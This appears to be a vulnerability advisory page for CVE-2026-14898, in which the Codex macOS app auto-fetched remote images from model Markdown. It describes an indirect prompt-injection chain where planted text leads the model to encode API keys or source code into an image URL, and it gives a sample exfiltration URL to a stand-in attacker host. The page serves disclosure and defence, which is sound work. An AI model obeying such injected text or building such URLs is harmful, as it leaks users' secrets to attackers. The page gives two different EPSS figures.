CVE-2026-14898: OpenAI Codex: prompt injection exfils data via images
MEDIUMOpenAI's Codex desktop app for macOS auto-rendered remote images embedded in the model's Markdown responses, which meant an attacker who could smuggle instructions into anything Codex reads — a connected tool's output, a fetched webpage, a file in the repo — could get the model to build an image URL with secrets baked into its query string, and the app would fetch it automatically, no click required. For a CISO the real exposure is what lives in a Codex session: API keys, proprietary source code, and whatever data connected tools return, all reachable by any untrusted content the agent ingests during normal use. EPSS sits at just 0.16% (top 94th percentile is a relative ranking, not high absolute likelihood), there's no CISA KEV listing, no public PoC or Nuclei template, and OpenAI reports no known in-the-wild exploitation — so this is a design flaw closed by a vendor fix, not an active campaign. Action: confirm your Codex desktop client is on the patched build (image auto-fetch disabled or sandboxed), and until confirmed, treat any Codex session that ingests third-party or web content as a potential exfiltration channel for keys and code — rotate credentials that were exposed to Codex sessions handling untrusted input if you can't confirm the patch is deployed.
What is the risk?
Medium severity (CVSS 6.5, C:H/I:N/A:N) reflecting a pure confidentiality issue with no integrity or availability impact. Attack complexity is low and no privileges are required, but exploitation requires the model to first be steered via indirect prompt injection and requires the victim to have Codex open and process attacker-influenced content (UI:R) — so it's not a zero-click, drive-by bug, but it also doesn't require the victim to click anything once the malicious content is in context. Low EPSS and absence from CISA KEV indicate low observed/predicted mass-exploitation likelihood, but the blast radius per successful exploitation is high: full read access to whatever secrets, source, and tool outputs exist in the session.
How does the attack unfold?
How severe is it?
What is the attack surface?
What should I do?
1 step-
Update the Codex desktop app to the patched version that disables or gates automatic remote image fetching from model-generated Markdown (check OpenAI's release notes/changelog for the fix). Until confirmed patched, avoid connecting Codex to tools or data sources that return untrusted/external content, or run it in environments without secrets in scope. Where possible, restrict outbound network access from the Codex process (e.g., firewall rules limiting egress to known OpenAI endpoints) to blunt exfiltration even if injection succeeds. Rotate API keys and credentials that were present in Codex sessions handling third-party content prior to patching. Detection: monitor egress logs for unusual outbound HTTP(S) requests with long query strings or base64-like parameters originating from the Codex app.
What does CISA's SSVC say?
Source: CISA Vulnrichment (SSVC v2.0). Decision based on the CISA Coordinator decision tree.
How is it classified?
Which compliance frameworks are affected?
This CVE is relevant to:
Frequently Asked Questions
What is CVE-2026-14898?
OpenAI's Codex desktop app for macOS auto-rendered remote images embedded in the model's Markdown responses, which meant an attacker who could smuggle instructions into anything Codex reads — a connected tool's output, a fetched webpage, a file in the repo — could get the model to build an image URL with secrets baked into its query string, and the app would fetch it automatically, no click required. For a CISO the real exposure is what lives in a Codex session: API keys, proprietary source code, and whatever data connected tools return, all reachable by any untrusted content the agent ingests during normal use. EPSS sits at just 0.16% (top 94th percentile is a relative ranking, not high absolute likelihood), there's no CISA KEV listing, no public PoC or Nuclei template, and OpenAI reports no known in-the-wild exploitation — so this is a design flaw closed by a vendor fix, not an active campaign. Action: confirm your Codex desktop client is on the patched build (image auto-fetch disabled or sandboxed), and until confirmed, treat any Codex session that ingests third-party or web content as a potential exfiltration channel for keys and code — rotate credentials that were exposed to Codex sessions handling untrusted input if you can't confirm the patch is deployed.
Is CVE-2026-14898 actively exploited?
No confirmed active exploitation of CVE-2026-14898 has been reported, but organizations should still patch proactively.
How to fix CVE-2026-14898?
Update the Codex desktop app to the patched version that disables or gates automatic remote image fetching from model-generated Markdown (check OpenAI's release notes/changelog for the fix). Until confirmed patched, avoid connecting Codex to tools or data sources that return untrusted/external content, or run it in environments without secrets in scope. Where possible, restrict outbound network access from the Codex process (e.g., firewall rules limiting egress to known OpenAI endpoints) to blunt exfiltration even if injection succeeds. Rotate API keys and credentials that were present in Codex sessions handling third-party content prior to patching. Detection: monitor egress logs for unusual outbound HTTP(S) requests with long query strings or base64-like parameters originating from the Codex app.
What systems are affected by CVE-2026-14898?
This vulnerability affects the following AI/ML architecture patterns: agent frameworks, coding assistants / IDE agents, tool-connected LLM applications.
What is the CVSS score for CVE-2026-14898?
CVE-2026-14898 has a CVSS v3.1 base score of 6.5 (MEDIUM). The EPSS exploitation probability is 0.37%.
What is the AI security impact?
Affected AI Architectures
MITRE ATLAS Techniques
AML.T0025 Exfiltration via Cyber Means AML.T0051.001 Indirect AML.T0057 LLM Data Leakage AML.T0077 LLM Response Rendering Compliance Controls Affected
What are the technical details?
Original Advisory
The OpenAI Codex desktop app for macOS rendered remote images from Markdown in model responses. An attacker who could place an indirect prompt injection in content processed by Codex, such as a connected-tool result or another untrusted source, could induce the model to construct a remote image URL containing sensitive data. The app automatically fetched that URL when rendering the response, sending the embedded data to an attacker-controlled server without a separate user click. Successful exploitation could exfiltrate secrets and other information accessible in the Codex session, including API keys, source code, and data returned by connected tools. No direct integrity or availability impact was demonstrated, and there is no known exploitation in the wild.
Exploitation Scenario
A developer uses Codex connected to an internal ticketing system or a web-fetch tool. An attacker plants a hidden instruction inside a ticket description or a web page that Codex later reads while assisting the developer (indirect prompt injection). The injected instruction tells the model to summarize the session's API keys or recently viewed source code and encode them into an image URL pointing to an attacker-controlled server (e.g., `https://attacker.example/x.png?data=<secret>`). Codex renders its response, the desktop app automatically fetches that image to display it, and the secret data is transmitted to the attacker's server as an HTTP request parameter — captured server-side with zero additional clicks from the victim.
Weaknesses (CWE)
CWE-200 Exposure of Sensitive Information to an Unauthorized Actor CWE-200 Exposure of Sensitive Information to an Unauthorized Actor CWE-200 — Exposure of Sensitive Information to an Unauthorized Actor: The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information.
- [Architecture and Design] Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area. Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.
Source: MITRE CWE corpus.
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N References
Timeline
Related Vulnerabilities
CVE-2026-34938 10.0 praisonaiagents: sandbox bypass enables full host RCE
Same attack type: Prompt Injection CVE-2026-33663 10.0 n8n: member role steals plaintext HTTP credentials
Same attack type: Data Leakage CVE-2023-3765 10.0 MLflow: path traversal allows arbitrary file read
Same attack type: Data Leakage CVE-2025-5120 10.0 smolagents: sandbox escape enables unauthenticated RCE
Same attack type: Data Leakage GHSA-wpqr-6v78-jr5g 10.0 Gemini CLI: RCE via malicious workspace in CI/CD
Same attack type: Prompt Injection